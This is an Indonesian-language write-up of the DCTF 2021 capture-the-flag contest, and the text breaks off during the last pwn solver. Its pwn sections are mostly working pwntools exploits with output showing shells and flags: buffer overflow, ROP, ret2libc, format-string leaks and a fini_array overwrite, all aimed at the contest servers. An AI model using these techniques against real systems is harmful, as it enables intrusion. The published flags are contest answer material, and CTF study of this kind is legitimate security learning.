DCTF 2021 | Writeup
Post kali ini akan membahas tentang challenge yang berhasil penulis kerjakan pada event DCTF 2021.
Crypto
Just Take Your Time (200 points | 135 solves)
Diberikan sebuah file(just-take-your-time.py
) yang mempunyai isi sebagai berikut:
#!/usr/bin python3
from flag import flag
from Crypto.Cipher import DES3
from time import time
from random import randint
from secrets import token_hex
from pytimedinput import timedInput
guess = 3
TIMEOUT = 1
a = randint(1000000000000000, 9999999999999999)
b = randint(1000000000000000, 9999999999999999)
print("Show me you are worthy and solve for x! You have one second.")
print("{} * {} = ".format(a, b))
answ, _ = timedInput("> ", timeOut = 1, forcedTimeout = True)
try:
assert(a*b == int(answ))
except:
print("You are not worthy!")
exit(1)
key = str(int(time())).zfill(16).encode("utf-8")
secret = token_hex(16)
cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")
encrypted = cipher.encrypt(secret.encode("utf-8"))
print("You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!")
print(encrypted.hex())
start_time = time()
while(time() - start_time < TIMEOUT and guess > 0):
delta = time() - start_time
answ, _ = timedInput("> ", timeOut = TIMEOUT + 1 - delta, forcedTimeout = True)
try:
assert(secret == answ)
break
except:
if answ != "":
guess -= 1
if (guess != 1):
print("You are wrong. {} guesses remain.".format(guess))
else:
print("You are wrong. {} guess remains.".format(guess))
if (secret != answ):
print("You have been unsuccessful in your quest for the flag.")
else:
print("Congratulations! Here is your flag.")
print(flag)
Output:
phobos@PH0bo5: python3 just-take-your-time.py
Show me you are worthy and solve for x! You have one second.
9548101940054396 * 9397478098800981 =
> 89728078866780343578665518162476
You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!
399fdc9386a10ca92d81aa55f387a60f718e85d5b52115d85b12be692ae4ef1a
>
You have been unsuccessful in your quest for the flag.
Solution:
Tahap pertama, kita harus membuat program/solver untuk menjawab perkalian yang diberikan dengan batas waktu maksimal adalah 1 detik. Berdasarkan hasil analisis, untuk tahap selanjutnya kita harus menjawab dengan benar value dari variabel secret
. Variabel secret
menampung hasil return dari fungsi token_hex(16)
, yang nantinya akan digunakan untuk melakukan encrypt terhadap flag
.
Untuk mendapatkan value dari secret
yang harus kita lakukan adalah:
- Mengambil value key (waktu saat ini = waktu service dijalankan)
key = str(int(time())).zfill(16).encode("utf-8")
. - Membuat variabel decipher, dengan enkripsi DES3 yang menggunakan value
key
.decipher = DES3.new(key, DES3.MODE_CFB, b"00000000")
- Mendapat value
secret
dengan cara, mendecrypt cipher yang didapatkan (cipher yang didapatkan dari service akan berubah-rubah).cipher = 399fdc9386a10ca92d81aa55f387a60f718e85d5b52115d85b12be692ae4ef1a
secret = decipher.decrypt(cipher)
Solver:
#!/usr/bin/env python
from pwn import *
from time import time
from Crypto.Cipher import DES3
import binascii
SERVER,PORT = "dctf-chall-just-take-your-time.westeurope.azurecontainer.io", 9999
def solve(io):
io.recvuntil("Show me you are worthy and solve for x! You have one second.\n")
solve = io.recvline().strip().decode().replace("=","").replace(" ","")
answer = eval(solve)
print("[Q]",solve)
print("[A]",answer)
io.sendline(str(answer))
io.recvuntil("You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!\n")
cipher = binascii.unhexlify(io.recvline().strip().decode())
key = str(int(time())).zfill(16).encode("utf-8")
print("Cipher : {}".format(binascii.hexlify(cipher).decode()))
print("Key : {}".format(key.decode()))
decipher = DES3.new(key, DES3.MODE_CFB, b"00000000")
secret = decipher.decrypt(cipher).decode()
print("Secret : {}".format(secret))
io.sendline(secret)
io.recvuntil("flag.\n")
print("FLAG :",io.recvline().strip().decode())
io.close()
if __name__ == "__main__":
io = remote(SERVER, PORT)
solve(io)
Output:
phobos@PH0bo5: python3 solve.py
[+] Opening connection to dctf-chall-just-take-your-time.westeurope.azurecontainer.io on port 9999: Done
[Q] 7130692294069663*3310378653815940
[A] 23605291557218027960527139828220
Cipher : 174a2ec3af0ed02b43f58a2470796eb8aae6126bcd651ea063f7ec92cb6d8ee0
Key : 0000001621235403
Secret : a6b9b9a496038719e45eed252ee660d1
FLAG : dctf{1t_0n1y_t0Ok_2_d4y5...}
[*] Closed connection to dctf-chall-just-take-your-time.westeurope.azurecontainer.io port 9999
FLAG : dctf{1t_0n1y_t0Ok_2_d4y5…}
Misc
Encrypted the flag I have (100 points | 352 solves)
Diberikan sebuah file gambar, dengan tampilan berikut:
Solution:
Penulis meng-upload gambar tersebut ke What’s my Font, dan menemukan terdapat font yang mirip seperti gambar yang diberikan.
Selanjutnya kita harus mendapatkan sampel karakter dari font tersebut, dengan cara memasukkan alfabet, angka, dan beberapa simbol untuk dicocokkan dengan gambar yang diberikan. Lalu didapatkanlah sampel gambar sebagai berikut:
FLAG : dctf{mastercodebreaker}
Reverse
Bell (100 points | 218 solves)
Diberikan sebuah binary bernama bell
.
main():
process():
triangle():
Solution:
Kita harus menjawab/menghitung return value dari function triangle()
yang akan berubah seiring dengan perulangan variabel Arg1
yang ada pada function process()
. Untuk menyelesaikan challenge ini cukup mudah, kita hanya perlu mengimplementasikan function triangle()
pada solver yang akan kita buat untuk mendapatkan return value dari function triangle()
.
Solver:
from pwn import *
import sys
def triangle(a1, a2):
result = 0
v3 = 0
if ( a2 <= a1 ):
if ( a1 != 1 or a2 != 1 ):
if ( a2 == 1 ):
result = triangle(a1 - 1, a1 - 1)
else:
v3 = triangle(a1, (a2 - 1))
result = v3 + triangle(a1 - 1, (a2 - 1))
else:
result = 1
else:
result = 0
return result
def solve(io = null):
number = int(io.recvline().strip())
for i in range(1, number+1,1):
x = triangle(number, i)
io.sendline(str(x))
print(io.recvline().strip().decode())
io.close()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
REMOTE = True
io = remote("dctf-chall-bell.westeurope.azurecontainer.io", 5311)
else:
LOCAL = True
io = process("./bell")
solve(io)
Output:
phobos@PH0bo5: python3 solve.py r
[+] Opening connection to dctf-chall-bell.westeurope.azurecontainer.io on port 5311: Done
dctf{f1rst_step_t0wards_b3ll_l4bs}
[*] Closed connection to dctf-chall-bell.westeurope.azurecontainer.io port 5311
FLAG : dctf{f1rst_step_t0wards_b3ll_l4bs}
Tiny interpreter (400 points | 100 solves)
Diberikan file interpreter
dan bin
.
File Information:
phobos@PH0bo5: file *
bin: data
interpreter: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2eea16faa2fedba2426bdab0320024aaf3e02ea9, for GNU/Linux 3.2.0, not stripped
Solution:
Kita hanya perlu menjalankan file yang diberikan dengan command berikut :)
phobos@PH0bo5: ./interpreter bin
I
n
t
e
r
p
r
e
...
...
...
i
d
e
a
Yang jika digabungkan akan menjadi flag. Semudah itu? iya, author challenge ini berkata setelah kompetisi berakhir bahwa dia melakukan kesalahan dan ingin menghapus challenge tersebut tetapi tidak jadi, dikarenakan sudah banyak yang menyelesaikan challenge ini.
FLAG : dctf{Interpreter_written_in_C_is_a_great_idea}
Pwn
Pwn sanity check (100 points | 232 solves)
Diberikan sebuah binary pwn_sanity_check
.
Binary Information:
phobos@PH0bo5: cs ./pwn_sanity_check
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/01Pwn_sanity_check/pwn_sanity_check'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
main():
vuln():
win():
Solution:
Pada function vuln()
terdapat function fgets()
yang dapat memicu terjadinya Buffer Overflow. Vulnerability ini dapat kita manfaatkan untuk meng-overwrite return address menjadi address yang kita inginkan, yaitu function win()
untuk mendapatkan shell.
Langkah pertama adalah mencari offset untuk meng-overwrite return address menjadi win()
.
Perlu diperhatikan pada function win()
, untuk mendapatkan shell kita membutuhkan 2 argument agar kita bisa memenuhi kondisi / komparator (if), yaitu:
- argument ke-1 (RDI) = 0xDEADBEEF
- argument ke-2 (RSI) = 0x1337C0DE
Maka kita membutuhkan 2 gadget, yakni pop rdi; ret
& pop rsi; pop r15; ret
. Hiraukan saja pop r15
nya. Karena kita hanya perlu men-supply register RDI dan RSI. Untuk mendapatkan gadget tersebut kita bisa menggunakan ropper.
Solver:
#!/usr/bin/env python
from pwn import *
from os import path
import sys
DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/pwn_sanity_check"
SERVER,PORT = "dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480
REMOTE, LOCAL = False, False
elf = ELF(TARGET)
elfROP = ROP(elf)
context.update(arch ="amd64", log_level = "warn")
def exploit(io, libc =null):
RIP_OFFSET = cyclic_find(0x61616173) # 72
POP_RDI = elfROP.find_gadget(["pop rdi","ret"])[0] # 0x400813
POP_RSI_R15 = elfROP.find_gadget(["pop rsi","pop r15","ret"])[0] # 0x400811
WIN_ADDRESS = elf.symbols["win"] # 0x400697
p = b""
p += b"A" * (RIP_OFFSET)
p += p64(POP_RDI)
p += p64(0xDEADBEEF)
p += p64(POP_RSI_R15)
p += p64(0x1337C0DE)
p += p64(0)
p += p64(WIN_ADDRESS)
io.sendline(p)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
REMOTE = True
io = remote(SERVER, PORT)
else:
LOCAL = True
io = process([TARGET])
exploit(io)
Exploit:
phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/01Pwn_sanity_check_SOLVED$ python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/01Pwn_sanity_check_SOLVED/pwn_sanity_check'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for '/home/phobos/Documents/ctf/dctf2021/pwn/01Pwn_sanity_check_SOLVED/pwn_sanity_check'
tell me a joke
will this work?
you made it to win land, no free handouts this time, try harder
one down, one to go!
2/2 bro good job
$ ls
flag.txt
pwn_sanity_check
startService.sh
$ cat flag.txt
dctf{Ju5t_m0v3_0n}
$
FLAG : dctf{Ju5t_m0v3_0n}
Pinch me (100 points | 262 solves)
Diberikan sebuah binary pinch_me
.
Binary Information:
phobos@PH0bo5: cs ./pinch_me
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/02Pinch_me_SOLVED/pinch_me'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
main():
vuln():
Solution:
Melakukan Buffer overflow, untuk meng-overwrite value yang akan dicompare oleh function if, yaitu variabel v2
agar menjadi 0x1337C0DE
. Kita memerlukan offset untuk mengoverwrite variabel v2 tersebut.
Dapat dilihat diatas bahwa value yang akan dicompare oleh if()
, berada pada address $rbp-0x8
. Yang mana saat di examine, value tersebut mengandung 0x61616167
(potongan byte dari pattern cyclic).
Solver:
#!/usr/bin/env python
from pwn import *
from os import path
import sys
DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/pinch_me"
SERVER,PORT = "dctf1-chall-pinch-me.westeurope.azurecontainer.io", 7480
REMOTE, LOCAL = False, False
elf = ELF(TARGET)
context.update(arch ="amd64", log_level = "warn")
def exploit(io, libc =null):
RIP_OFFSET = cyclic_find(0x61616167) # 24
p = b""
p += b"A" * (RIP_OFFSET)
p += p64(0x1337C0DE)
io.sendline(p)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
REMOTE = True
io = remote(SERVER, PORT)
else:
LOCAL = True
io = process([TARGET])
exploit(io)
Exploit:
phobos@PH0bo5: python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/02Pinch_me_SOLVED/pinch_me'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Is this a real life, or is it just a fanta sea?
Am I dreaming?
$ ls
flag.txt
pinch_me
startService.sh
$ cat flag.txt
dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}$
FLAG : dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}
Readme (150 points | 198 solves)
Diberikan sebuah binary readme
.
Binary Information:
phobos@PH0bo5: cs ./readme
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/03Readme_SOLVED/readme'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
main():
vuln():
Solution:
Terdapat vulnerability Format String Attack, yakni function printf()
yang tidak diberikan format parameter (%x
,%p
,%s
, dll.) dapat menyebabkan munculnya vulnerability ini. Dapat dilihat pada function vuln()
, bahwa binary ini sudah mengambil value dari flag.txt
saat binary ini masuk kedalam function vuln()
. Yang artinya, flag yang kita cari-cari sudah ada didalam stack, jadi yang harus kita lakukan adalah melakukan leak memory stack dengan Format string attack.
Solver:
#!/usr/bin/env python
from pwn import *
from os import path
import sys
import string
DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/readme"
SERVER,PORT = "dctf-chall-readme.westeurope.azurecontainer.io", 7481
REMOTE, LOCAL = False, False
context.log_level = "warn"
FOUND_FLAG = False
flag = b""
ALPHABET_DIGIT_SYMBOLS = string.ascii_letters.encode() + string.digits.encode() + b"!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"
def looper(io = null):
global FOUND_FLAG
global flag
for x in range(1,15):
if REMOTE == True:
io = remote(SERVER, PORT)
else: #local
io = process([TARGET])
io.recvuntil("hello, what's your name?\n")
p = "%{}$p".format(x)
io.sendline(p)
io.recvuntil("hello")
LEAKED_MEMORY = io.recvline().strip().decode()
if "(nil)" not in LEAKED_MEMORY:
LEAKED_MEMORY = p64( int(LEAKED_MEMORY, 16) )
# Comment this if u want in silent mode
print("===================================")
print("[{}] Current Leaked : {}".format(str(x).rjust(2,"0"), LEAKED_MEMORY))
print("[{}] Current Flag : {}".format(str(x).rjust(2,"0"), flag))
if b"dctf" in LEAKED_MEMORY:
FOUND_FLAG = True
for currentChar in LEAKED_MEMORY:
if currentChar in ALPHABET_DIGIT_SYMBOLS:
flag += chr(currentChar).encode()
elif FOUND_FLAG == True and b"}" not in flag:
for currentChar in LEAKED_MEMORY:
if currentChar in ALPHABET_DIGIT_SYMBOLS:
flag += chr(currentChar).encode()
elif FOUND_FLAG == True and b"}" in LEAKED_MEMORY:
for currentChar in LEAKED_MEMORY:
if currentChar in ALPHABET_DIGIT_SYMBOLS:
flag += chr(currentChar).encode()
break
if LOCAL == True:
io.kill()
io.close()
print(flag)
def exploit(io):
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
REMOTE = True
else:
LOCAL = True
looper()
Exploit:
phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/03Readme_SOLVED$ python3 solve.py r
===================================
[01] Current Leaked : b'@\xc5\xcb\xee\xfe\x7f\x00\x00'
[01] Current Flag : b''
===================================
[04] Current Leaked : b'\x06\x00\x00\x00\x00\x00\x00\x00'
[04] Current Flag : b''
===================================
[05] Current Leaked : b'\x06\x00\x00\x00\x00\x00\x00\x00'
[05] Current Flag : b''
===================================
[07] Current Leaked : b'\xa0\xc2\x07tWU\x00\x00'
[07] Current Flag : b''
===================================
[08] Current Leaked : b'dctf{n0w'
[08] Current Flag : b''
===================================
[09] Current Leaked : b'_g0_r3ad'
[09] Current Flag : b'dctf{n0w'
===================================
[10] Current Leaked : b'_s0me_b0'
[10] Current Flag : b'dctf{n0w_g0_r3ad'
===================================
[11] Current Leaked : b'0k5\x00*\x7f\x00\x00'
[11] Current Flag : b'dctf{n0w_g0_r3ad_s0me_b0'
===================================
[12] Current Leaked : b'%12$p\n\x00\x00'
[12] Current Flag : b'dctf{n0w_g0_r3ad_s0me_b00k5*'
===================================
[13] Current Leaked : b'}YDw\x0fV\x00\x00'
[13] Current Flag : b'dctf{n0w_g0_r3ad_s0me_b00k5*%12$p'
===================================
[14] Current Leaked : b'\xc8?\xaf\xca\xc6\x7f\x00\x00'
[14] Current Flag : b'dctf{n0w_g0_r3ad_s0me_b00k5*%12$p}YDwV'
FLAG : dctf{n0w_g0_r3ad_s0me_b00k5}
Baby bof (250 points | 135 solves)
Diberikan dua file: baby_bof
dan Dockerfile
.
Binary Information:
phobos@PH0bo5: cs ./baby_bof
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED/baby_bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Dockerfile
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y make gcc socat
RUN groupadd pilot
RUN useradd pilot --gid pilot
COPY ./app /app
WORKDIR /app
ENTRYPOINT [ "bash", "/app/startService.sh" ]
main():
vuln():
Solution:
Pada function vuln()
terdapat function fgets()
, yang dapat memicu vulnerability Buffer Overflow. Vulnerability ini dapat kita manfaatkan untuk mengoverwrite nilai return yang ada distack menjadi address yang kita inginkan. Dalam hal ini, penulis akan mengoverwrite return address yang nantinya dapat dimanfaatkan untuk melakukan teknik ROP dan ret2libc.
Pertama, kita harus mencari offset dari RIP (Return Instruction Pointer). Penulis menggunakan GDB pwndbg(plug-in). Debug binary yang diberikan dengan command dibawah. Lalu penulis meng-generate pattern, yang akan kita gunakan untuk melakukan input terhadap binary.
phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED$ gdb ./baby_bof
warning: /home/phobos/pwndbg/gdbinit.py: No such file or directory
Reading symbols from ./baby_bof...(no debugging symbols found)...done.
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> cyclic 300
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
pwndbg>
Copy pattern tersebut, lalu masukkan(paste) saat program meminta input.
pwndbg> r
Starting program: /home/phobos/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED/baby_bof
plz don't rop me
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
Pada bagian paling bawah dapat dilihat bahwa RIP sudah ter-overwrite dengan value 0x6167616161666161
.
Ambil 4 byte value yang paling belakang dari 0x6167616161666161
=> 0x61666161
.
Maka kita sudah mendapatkan offset untuk overwrite RIP, yaitu 18.
Selanjutnya kita perlu melakukan leak address dari libc. Disini penulis memilih untuk melakukan leak libc address terhadap function puts()
. Perlu diperhatikan setelah melakukan leak address, kita harus mengarahkan binary untuk kembali ke function main()
agar kita bisa memanfaatkan vulnerability buffer overflow yang berujung dengan pemanggilan shell menggunakan teknik ret2libc. Dikarenakan versi libc yang digunakan pada server berbeda dengan mesin punya penulis, penulis harus melakukan leak terlebih dahulu dan mencari versi dari libc yang digunakan pada service dengan bantuan website libc database search. Dan libc yang digunakan pada server adalah: libc6_2.31-0ubuntu9_amd64
Solver:
#!/usr/bin/env python
from elftools.construct import lib
from pwn import *
from os import path
import sys
DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/baby_bof"
SERVER,PORT = "dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481
REMOTE, LOCAL = False, False
elf = ELF(TARGET)
elfROP = ROP(elf)
context.update(arch ="amd64", log_level = "warn")
def exploit(io, libc =null):
RIP_OFFSET = cyclic_find(0x61666161) # 18
RET_GADGET = elfROP.find_gadget(["ret"])[0] # 0x40048e
POP_RDI = elfROP.find_gadget(["pop rdi", "ret"])[0] # 0x400683
MAIN_ADDRESS = elf.symbols["main"]
PUTS_PLT = elf.symbols["puts"]
PUTS_GOT = elf.got["puts"]
p = b""
p += b"A" * (RIP_OFFSET)
p += p64(POP_RDI)
p += p64(PUTS_GOT)
p += p64(PUTS_PLT)
p += p64(MAIN_ADDRESS)
io.sendline(p)
print(io.recvuntil("i don't think this will work\n"))
resp = io.recvline().strip()
LEAKED = u64(resp.ljust(8,b"\x00"))
BASE_ADDRESS = LEAKED - libc.symbols["puts"]
SYSTEM = BASE_ADDRESS + libc.symbols["system"]
STR_BIN_SH = BASE_ADDRESS + next(libc.search(b"/bin/sh"))
print(f"LEAKED :{hex(LEAKED)}")
print(f"BASE_ADDRESS :{hex(BASE_ADDRESS)}")
print(f"SYSTEM :{hex(SYSTEM)}")
print(f"STR_BIN_SH :{hex(STR_BIN_SH)}")
p = b""
p = b"A" * (RIP_OFFSET)
p += p64(RET_GADGET)
p += p64(POP_RDI)
p += p64(STR_BIN_SH)
p += p64(SYSTEM)
io.sendline(p)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
REMOTE = True
io = remote(SERVER, PORT)
libc = ELF(DIR+"/libc6_2.31-0ubuntu9_amd64.so")
else:
LOCAL = True
io = process([TARGET])
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
exploit(io, libc)
Exploit:
phobos@PH0bo5: python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED/baby_bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for '/home/phobos/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED/baby_bof'
b"plz don't rop me\ni don't think this will work\n"
LEAKED :0x7f029403c5a0
BASE_ADDRESS :0x7f0293fb5000
SYSTEM :0x7f029400a410
STR_BIN_SH :0x7f029416c5aa
plz don't rop me
i don't think this will work
$ ls
baby_bof
flag.txt
startService.sh
$ cat flag.txt
dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
$
FLAG : dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
Magic Trick (300 points | 99 solves)
Diberikan file magic_trick
.
Binary Information:
phobos@PH0bo5: cs ./magic_trick
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/05Magic_Trick_SOLVED/magic_trick'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
main():
magic():
win():
Solution:
Pada function magic()
kita bisa melakukan write, dan dikarenakan binary ini tidak ada proteksi RELRO, kita bisa melakukan overwrite pada GOT atau memory pada suatu address. Terbesit dipikiran penulis untuk melakukan overwrite pada _fini_array atau _fini, dengan address dari function win()
.
Solver:
#!/usr/bin/env python
from pwn import *
from os import path
import sys
DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/magic_trick"
SERVER,PORT = "dctf-chall-magic-trick.westeurope.azurecontainer.io", 7481
REMOTE, LOCAL = False, False
elf = ELF(TARGET)
context.update(arch ="amd64", log_level = "warn")
def exploit(io, libc =null):
WIN_ADDRESS = elf.symbols["win"]
_FINI_ARRAY = 0X600a00
p = str(WIN_ADDRESS)
io.sendlineafter("What do you want to write", p)
p = str(_FINI_ARRAY)
io.sendlineafter("Where do you want to write it", p)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
REMOTE = True
io = remote(SERVER, PORT)
else:
LOCAL = True
io = process([TARGET])
exploit(io)
Exploit:
phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/05Magic_Trick_SOLVED$ python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/05Magic_Trick_SOLVED/magic_trick'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for '/home/phobos/Documents/ctf/dctf2021/pwn/05Magic_Trick_SOLVED/magic_trick'
thanks
You are a real magician
dctf{1_L1k3_M4G1c}
FLAG : dctf{1_L1k3_M4G1c}
Hotel ROP (400 points | 134 solves)
Binary Information:
phobos@PH0bo5: cs ./hotel_rop
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/06Hotel_ROP_SOLVED/hotel_rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
main():
vuln():
california():
silicon_valley():
loss():
Solution:
Pada function main()
, binary akan menampilkan (print), address dari main(PIE Enabled). Kita harus memanfaatkan informasi yang diberikan ini untuk melakukan kalkulasi address pada function lainnya. Terdapt hasil menarik yang akan terjadi dengan memanggil function california()
dan silicon_valley()
secara berurut, yakin jika dipanggil secara terurut kita dapat menghasilkan string /bin/sh
yang akan disimpan ke variabel win_land
. Tujuan kita adalah mencapai function loss()
, dikarenakan function tersebut memanggil function system()
dengan argumen win_land
. Tetapi pada function loss()
kita harus melewati dulu validasi dengan memberikan argument pertama(RDI) dengan value 0x1337C0DE
dan argument kedua(RSI) dengan value 0xDEADC0DE - 0x1337C0DE = 0xCB760000
.
Solver:
#!/usr/bin/env python
from elftools.construct import lib
from pwn import *
from os import path
import sys
DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/hotel_rop"
SERVER,PORT = "dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480
REMOTE, LOCAL = False, False
elf = ELF(TARGET)
elfROP = ROP(elf)
context.update(arch ="amd64", log_level = "warn")
def exploit(io, libc =null):
raw_input("Fire GDB!")
RIP_OFFSET = cyclic_find(0x6161616b) # 40
io.recvuntil("Welcome to Hotel ROP, on main street ")
LEAKED_MAIN = int(io.recvline().strip(), 16)
BASE_ADDRESS = LEAKED_MAIN - elf.symbols["main"]
SILICON_VALLEY = BASE_ADDRESS + elf.symbols["silicon_valley"]
CALIFORNIA = BASE_ADDRESS + elf.symbols["california"]
LOSS = BASE_ADDRESS + elf.symbols["loss"]
POP_RDI = BASE_ADDRESS + elfROP.find_gadget(["pop rdi", "ret"])[0]
POP_RSI_R15 = BASE_ADDRESS + elfROP.find_gadget(["pop rsi","pop r15", "ret"])[0]
print("BASE_ADDRESS :",hex(BASE_ADDRESS))
print("CALIFORNIA :",hex(CALIFORNIA))
print("SILICON_VALLEY :",hex(SILICON_VALLEY))
print("LOSS :",hex(LOSS))
print("=================================")
print("POP_RDI :",hex(POP_RDI))
print("POP_RSI :",hex(POP_RSI_R15))
p = b""
p += b"A" * (RIP_OFFSET)
p += p64(CALIFORNIA) # /bin
p += p64(SILICON_VALLEY) # /sh
p += p64(POP_RDI)
p += p64(0x1337C0DE)
RSI = 0xDEADC0DE - 0x1337C0DE # 0xcb760000
p += p64(POP_RSI_R15)
p += p64(RSI)
p += p64(0xDEADC0DE) # DUMMY
p += p64(LOSS) # Literally, it's Win Address :)
io.sendline(p)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
REMOTE = True
io = remote(SERVER, PORT)
else:
LOCAL = True
io = process([TARGET])
exploit(io)
Exploit:
phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/06Hotel_ROP_SOLVED$ python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/06Hotel_ROP_SOLVED/hotel_rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets for '/home/phobos/Documents/ctf/dctf2021/pwn/06Hotel_ROP_SOLVED/hotel_rop'
Fire GDB!
BASE_ADDRESS : 0x563bfcd62000
CALIFORNIA : 0x563bfcd631dc
SILICON_VALLEY : 0x563bfcd63283
LOSS : 0x563bfcd63185
=================================
POP_RDI : 0x563bfcd6340b
POP_RSI : 0x563bfcd63409
You come here often?
I think you should come here more often.
Welcome to Hotel California
You can sign out anytime you want, but you can never leave
You want to work for Google?
Dis is da wae to be one of our finest guests!
Now you can replace our manager!
$ ls
flag.txt
hotel_rop
startService.sh
$ cat flag.txt
dctf{ch41n_0f_h0t3ls}$
FLAG : dctf{ch41n_0f_h0t3ls}
Formats last theorem (400 points | 41 solves)
Diberikan dua file: formats_last_theorem
dan Dockerfile
.
Binary Information:
phobos@PH0bo5: cs ./formats_last_theorem
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/07Format_last_theorem_SOLVED/formats_last_theorem'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Dockerfile
FROM ubuntu:18.04
RUN apt-get update && apt-get install -y make gcc socat
RUN groupadd pilot
RUN useradd pilot --gid pilot
COPY ./app /app
WORKDIR /app
ENTRYPOINT [ "bash", "/app/startService.sh" ]
main():
vuln():
Solution:
Sesuai dengan nama challenge formats last theorem
, challenge ini mempunyai vulnerability Format String Attack pada function vuln()
. Kita harus melakukan leak address dari binary(PIE Enabled) dan address dari libc. Disini penulis melakukan leak terhadap dua address yakni main()
(Index ke-27) dan __libc_start_main+231
(Index ke-23).
Dikarenakan versi Libc yang digunakan adalah libc6_2.27-3ubuntu1.4_amd64. Kita bisa menggunakan one_gadget untuk mendapatkan shell. Address dari one_gadget inilah yang akan kita gunakan untuk meng-overwrite value dari __malloc_hook
. Kenapa kita overwrite __malloc_hook
? dikarenakan kita tidak mempunyai banyak pilihan (Full RELRO) dan karena function printf()
memiliki potensi untuk men-trigger __malloc__hook
.
Referensi: malloc_hook.
Solver:
#!/usr/bin/env python
from pwn import *
from os import path
import sys
DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/formats_last_theorem"
